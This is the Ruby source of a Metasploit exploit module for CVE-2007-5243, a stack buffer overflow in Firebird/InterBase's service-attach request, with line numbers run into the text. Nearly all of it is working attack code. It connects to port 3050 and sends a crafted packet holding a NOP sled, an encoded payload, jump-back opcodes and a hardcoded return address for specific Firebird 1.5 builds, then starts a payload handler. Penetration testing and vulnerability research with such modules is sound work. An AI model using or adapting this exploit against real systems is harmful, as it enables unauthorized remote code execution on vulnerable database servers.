Path: blob/master/modules/exploits/windows/misc/fb_svc_attach.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::BruteTargets1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firebird Relational Database SVC_attach() Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Borland InterBase18by sending a specially crafted service attach request.19},20'Author' => [21'Ramon de C Valle',22'Adriano Lima <adriano[at]risesecurity.org>',23],24'Arch' => ARCH_X86,25'Platform' => 'win',26'References' => [27[ 'CVE', '2007-5243' ],28[ 'OSVDB', '38605' ],29[ 'BID', '25917' ],30[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],31],32'Privileged' => true,33'License' => MSF_LICENSE,34'Payload' => {35'Space' => 256,36'BadChars' => "\x00\x2f\x3a\x40\x5c",37'StackAdjustment' => -3500,38},39'Targets' => [40[ 'Brute Force', {} ],41# 0x0040230b pop ebp; pop ebx; ret42[43'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',44{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }45],46# Debug47[48'Debug',49{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }50],51],52'DefaultTarget' => 1,53'DisclosureDate' => '2007-10-03',54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64Opt::RPORT(3050)65]66)67end6869def exploit_target(target)70target['Length'].each do |length|71connect7273# Service attach74op_service_attach = 827576remainder = length.remainder(4)77padding = 07879if remainder > 080padding = (4 - remainder)81end8283buf = ''8485# Operation/packet type86buf << [op_service_attach].pack('N')8788# Id89buf << [0].pack('N')9091# Length92buf << [length].pack('N')9394# Nop block95buf << make_nops(length - payload.encoded.length - 13)9697# Payload98buf << payload.encoded99100# Jump back into the nop block101buf << "\xe9" + [-260].pack('V')102103# Jump back104buf << "\xeb" + [-7].pack('c')105106# Random alpha data107buf << rand_text_alpha(2)108109# Target110buf << [target.ret].pack('V')111112# Padding113buf << "\x00" * padding114115# Database parameter block116117# Length118buf << [1024].pack('N')119120# Random alpha data121buf << rand_text_alpha(1024)122123sock.put(buf)124125# select(nil,nil,nil,4)126127handler128end129end130end131132133